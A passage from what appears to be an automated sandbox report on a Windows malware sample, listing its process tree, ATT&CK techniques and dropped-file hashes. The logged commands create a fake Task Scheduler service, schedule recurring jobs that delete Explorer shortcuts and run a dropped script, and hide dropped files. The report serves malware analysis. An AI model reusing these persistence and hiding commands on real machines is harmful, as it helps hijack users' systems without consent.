    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
    3⤵
    - Modifies registry class
    PID:1772
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry class
    PID:2548
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2660
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2744
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\runonce.cmd
  2⤵
  PID:1660
- - C:\Windows\system32\sc.exe
    sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
    3⤵
    - Launches sc.exe
    PID:1908
- - C:\Windows\system32\sc.exe
    sc config Schedule start= auto
    3⤵
    - Launches sc.exe
    PID:1964
- - C:\Windows\system32\net.exe
    net start "Task Scheduler"
    3⤵
    PID:1080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start "Task Scheduler"
      4⤵
      PID:1112
- - C:\Windows\system32\at.exe
    at 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2492
- - C:\Windows\system32\at.exe
    at 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:808
- - C:\Windows\system32\at.exe
    at 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2884
- - C:\Windows\system32\at.exe
    at 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1556
- - C:\Windows\system32\at.exe
    at 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1496
- - C:\Windows\system32\at.exe
    at 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:628
- - C:\Windows\system32\at.exe
    at 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2084
- - C:\Windows\system32\at.exe
    at 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:852
- - C:\Windows\system32\at.exe
    at 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2064
- - C:\Windows\system32\at.exe
    at 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:476
- - C:\Windows\system32\at.exe
    at 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2412
- - C:\Windows\system32\at.exe
    at 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2944
- - C:\Windows\system32\at.exe
    at 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2052
- - C:\Windows\system32\at.exe
    at 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1996
- - C:\Windows\system32\at.exe
    at 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2096
- - C:\Windows\system32\at.exe
    at 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2132
- - C:\Windows\system32\at.exe
    at 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1796
- - C:\Windows\system32\at.exe
    at 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2196
- - C:\Windows\system32\at.exe
    at 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1668
- - C:\Windows\system32\at.exe
    at 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1524
- - C:\Windows\system32\at.exe
    at 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:276
- - C:\Windows\system32\at.exe
    at 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1456
- - C:\Windows\system32\at.exe
    at 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1140
- - C:\Windows\system32\at.exe
    at 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2912
- - C:\Windows\system32\at.exe
    at 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:896
- - C:\Windows\system32\at.exe
    at 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:952
- - C:\Windows\system32\at.exe
    at 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2296
- - C:\Windows\system32\at.exe
    at 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1584
- - C:\Windows\system32\at.exe
    at 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2748
- - C:\Windows\system32\at.exe
    at 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1044
- - C:\Windows\system32\at.exe
    at 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2548
- - C:\Windows\system32\at.exe
    at 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2140
- - C:\Windows\system32\at.exe
    at 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:676
- - C:\Windows\system32\at.exe
    at 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1796
- - C:\Windows\system32\at.exe
    at 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1524
- - C:\Windows\system32\at.exe
    at 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:336
- - C:\Windows\system32\at.exe
    at 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1724
- - C:\Windows\system32\at.exe
    at 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1728
- - C:\Windows\system32\at.exe
    at 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1548
- - C:\Windows\system32\at.exe
    at 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1568
- - C:\Windows\system32\at.exe
    at 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1580
- - C:\Windows\system32\at.exe
    at 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2612
- - C:\Windows\system32\at.exe
    at 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2592
- - C:\Windows\system32\at.exe
    at 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2532
- - C:\Windows\system32\at.exe
    at 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1960
- - C:\Windows\system32\at.exe
    at 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1404
- - C:\Windows\system32\at.exe
    at 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2504
- - C:\Windows\system32\at.exe
    at 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1440
- - C:\Windows\system32\at.exe
    at 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2900
- - C:\Windows\system32\at.exe
    at 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2940
- - C:\Windows\system32\at.exe
    at 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1972
- - C:\Windows\system32\at.exe
    at 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1888
- - C:\Windows\system32\at.exe
    at 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:2076
- - C:\Windows\system32\at.exe
    at 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:1788
- - C:\Windows\system32\at.exe
    at 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:2524
- - C:\Windows\system32\at.exe
    at 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:2816
- - C:\Windows\system32\at.exe
    at 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:1828
- - C:\Windows\system32\at.exe
    at 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:2128
- - C:\Windows\system32\at.exe
    at 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1524
- - C:\Windows\system32\at.exe
    at 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1784
- - C:\Windows\system32\at.exe
    at 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:2228
- - C:\Windows\system32\at.exe
    at 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:2004
- - C:\Windows\system32\at.exe
    at 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:2908
- - C:\Windows\system32\at.exe
    at 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:952
- - C:\Windows\system32\at.exe
    at 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:2448
- - C:\Windows\system32\at.exe
    at 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:1632
- - C:\Windows\system32\at.exe
    at 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\copy.cmd
  2⤵
  - Drops file in Program Files directory
  - Drops file in Windows directory
  PID:964
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\fav\fav.cmd"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1548
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\Windows\360SE.vbs"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2344
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\Windows\36OSE.vbs"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2700
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\tool.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:1448
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\360.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2752
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\361.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\360.cmd
  2⤵
  - Drops file in Program Files directory
  PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\cpa.cmd
  2⤵
  - Deletes itself
  PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C del .\runonce.cmd
  2⤵
  PID:2920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\WinWare\360.cmd

Filesize
1KB

MD5
67240c407312315393794e9b65d1e8e5

SHA1
810b252670834678fdaa057b39e07985a029be7a

SHA256
0a29a7d11891968f5a4a6eb615e87a428d5e93c9a48908c7a1de7cf5a40acf22

SHA512
897bfb0b8b9ca3a315ff72b9c937aba50ddb88dd28ce3d8f156ccb01d008e566260e317364966fc3fe59a6f78017ad3924f32dd6d4b4a170550edc55b62bd3f2

Download Submit
C:\Program Files\WinWare\361.cmd

Filesize
567B

MD5
feb810eaa38eb0890ad2034d322e4c79

SHA1
a7c7ddd0bd405b949ddbffed364269d145ee78e4

SHA256
e346f4ed81e3e7974c4a9978789fc08737abc4c7318f31d747b1ad23ce5bf800

SHA512
f96b5e8129ab8fd4703a2e4bddf4245e9c4a64a8d69663f755386021cb8fd34a75bd0fa53b4579145bf50be2948d9ae5d0f4bdb556ae73b4cc85e6a2130f5ab9

Download Submit
C:\Program Files\WinWare\tool.cmd

Filesize
3KB

MD5
d7eece295819ac643894e11ec290fc16

SHA1
eaf976563ab1d54ddbb538846f21d80663c0482b

SHA256
00057dbc21e30cd983f4428934333acc1243bef2a7ae3e89ccfed37aaea35aef

SHA512
61602cd5b19a9f3d65c52ec8b393081949167496ec02420fe403e5ee63a3f59f29d367246af4a6ba3a6437ea46759315f6e1721fbd44f84878b548e61d261036

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
49482322c8f6241ba8aca2ebf96e4dc9

SHA1
d9f60cf9178389f30ddce9a76981b162c962d297

SHA256
152aca1d1cbae3a4e1a5b4d4a1fcf8dbbf2412eafbda8d3655739c65785986e7

SHA512
55e8947591714a634ad9c59263cf080b0e520aa943ec43fc4aff662b4703237cb2d35ad76ed5ab64335125c618a758dd313e0660e3709ece3c40e5b760db8e1c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c9729cb243666180087ed4cbcb66f486

SHA1
4e2cd49a041369ad21aaa513bbfa2435e7ad169e

SHA256
1a0863a597e0f898cbc2e5237af8d6c71d2391d852ee3c8a6b4d5415e4079862

SHA512
89c8386645d245da94b6f9ee8389a6faea6867d132ba3f113cc0f8529e93abe8fa041b845cfb8b79b5945fc501833bcbdb96aca2bb27381096fd9394e77cd13e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
706cb1eecc91d1cce80d3827b6762d9e

SHA1
eb02a7e4f0ef0eece43e9e46b5332bb7333794c2

SHA256
87e4765c529f4c0ab41fed5d349dd89cbf0fe98459e6b6c5444758bc633c8381

SHA512
c4a5f315e3b084b18bc43a01c4fefb8671dacfa49c8026355d828c58bf599c99950b423b946cb289dc7aa16c5ff337c0371301df01547deb925f722093d0f55d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d72501fdf3512217a83f98f6359aceb6

SHA1
16edfc2375a1ad674ebf51fbacd437c5f307b6d4

SHA256
5c33e185f4ad340e8e26e64eb0b50b917ad7c9aa80e04350cfc0618baa6e0144

SHA512
30ee91447f461154e03e9de1114babc7ed49d136f8d75fdb0e547c57a772807780cfc743299900ea419afb37a9b3a72b8db9305b1ec8a4861f78f809108b285b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8a0a540a96c1cf59b7527c7fffb0c73d

SHA1
b8975b982c85191c0dccaa34b7c219bed1ccca70

SHA256
0e270454258644727288c2ed45c46ada344cdcbc8ea390ba2549647212ae6f1e

SHA512
d60093c124b37d4cfe1983f83d6b89ffc54a7e58309e5d48388fe0ba2115dd1f15b4669bc174d2564e6bc0f362e0949b36a7ab2d28cd5d5927ed2656e8651285

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
14ac34932fba1e031938e488d00f539f

SHA1
aaaed5184682adff0ce956c26f1a7bf0c5798f78

SHA256
316aea4977d01998e20b3797f2c7d49e62a39dff6d169033f32734f8ac3168c9

SHA512
fbeaad9a2fa31464d44a59a125f5fb2955a0045fafcb335396ca2215df558897c7e7671ca6e546bfdb80e36c0cd045992add4c0f2dad8cf695fa263b76ec8c13

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d49d854f69674a05cbb27c32f5cc0456

SHA1
93d0110d3f41e15956dfe9c5b83bba3a58ecb5a9

SHA256
91fff8c4b6babb5b4b61bfa2baa0792e11f13c39e75a4cfca5bf322e5610deb8

SHA512
e204efabc348d2ac450d0b2af41f0683b187c1507a5a7aab32045168803930b9e5661c1ffcded4c10ab49b5c8ab777916f77f77d2476b52cd45577b1fd877360

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
039ed77fbca1f3da7c247a55852de866

SHA1
ba75f06f5bf69fdf49a1ce312e3fdcd119e296c6

SHA256
17faec0e6c6c169763fe5f29af6648dd128b06b3fff7e245469a393a27c2acd4

SHA512
74c246f11f051e82735a7939dcbbfa705bc4f599af4f98090bfdf75619ee139dacf8e7bd8bdd25d70f37a90f0c41f4f5030ad738bb0fbd651fe5a94628598646

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
98fb4403d15bbea39217f8f7b794330a

SHA1
a949629f5097554cb7deea03d1819c86dda7cd36

SHA256
07cdbcd515f223dfedff1e04e856d6381782cb7c8754a5b3578cdfa3ea90fe9f

SHA512
7454797c30135ebab25b130a60be1c97b850439ff10d72759a4d6a227bc768f16b2f8c03c8ef1cec1b4c702e914e33d336442acbe755096051f76f3328c49a41

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
3397b24ce742d6ded5314b2fccc714a7

SHA1
f5fd1dd51c42d434ec93daf166b43f33c620acbe

SHA256
43f876b8cc0b65dc6527ea0a985b2b030a1c654f189d66ca14777451b8722b15

SHA512
68aecd583cad8117026b6209d950bd02b89d931aae8f0722fd231873b418d0b25e1b07ec442ddc6b09a15c5c39b27b06725b7faa94322db95a988d2840bfa174

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
65da24977fa9fb790c80576108818f5e

SHA1
fb0beeb6323ccab690ed95a8510287917d8e7dfd

SHA256
c4254cabcb5b0afe95c398c0375dd8bc5ff1189a8965fce8c1b2469ac8b1d3e8

SHA512
a5acc1c23ea7fd9c3baf6edeea75c25d8220a60d84f5bc07a0d8349607e3d1aa0fbed893302055fc0db96522e2d7646c5fcc2cdf9e81500d79116694dc69f752

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e2b49b9f6d780a2c2367b42de5043c9b

SHA1
9fdbe899aecd957d9a8d4def81ea67925402e736

SHA256
1ef90f38fddc224e80e781f96a71208bc6af0daeb907d1f6e44c6ba15e8c27b4

SHA512
